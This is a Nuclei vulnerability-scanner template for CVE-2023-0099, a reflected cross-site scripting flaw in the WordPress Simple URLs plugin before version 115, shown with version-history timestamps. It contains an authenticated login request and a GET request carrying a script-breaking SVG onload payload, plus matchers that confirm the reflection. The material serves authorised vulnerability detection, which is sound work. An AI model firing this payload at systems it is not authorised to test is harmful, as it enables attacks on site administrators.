nuclei-templates/http/cves/2023/CVE-2023-0099.yaml

42 lines
1.3 KiB
YAML
Raw Normal View History

2023-04-21 08:56:01 +00:00
id: CVE-2023-0099
info:
name: Simple URLs < 115 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not sanitise and escape some parameters before outputting them back in some pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
remediation: Fixed in version 115
reference:
- https://wpscan.com/vulnerability/fd50f2d6-e420-4220-b485-73f33227e8f8
- https://wordpress.org/plugins/simple-urls/
- https://nvd.nist.gov/vuln/detail/CVE-2023-0099
classification:
cve-id: CVE-2023-0099
metadata:
max-request: 2
2023-06-04 08:13:42 +00:00
verified: true
tags: xss,simple-urls,authenticated,wpscan,wordpress,wp,wp-plugin,cve,cve2023
2023-04-21 08:56:01 +00:00
http:
2023-04-21 08:56:01 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body, "</script><svg/onload=alert(document.domain)>")'
- 'contains(body_2, "search_term")'
condition: and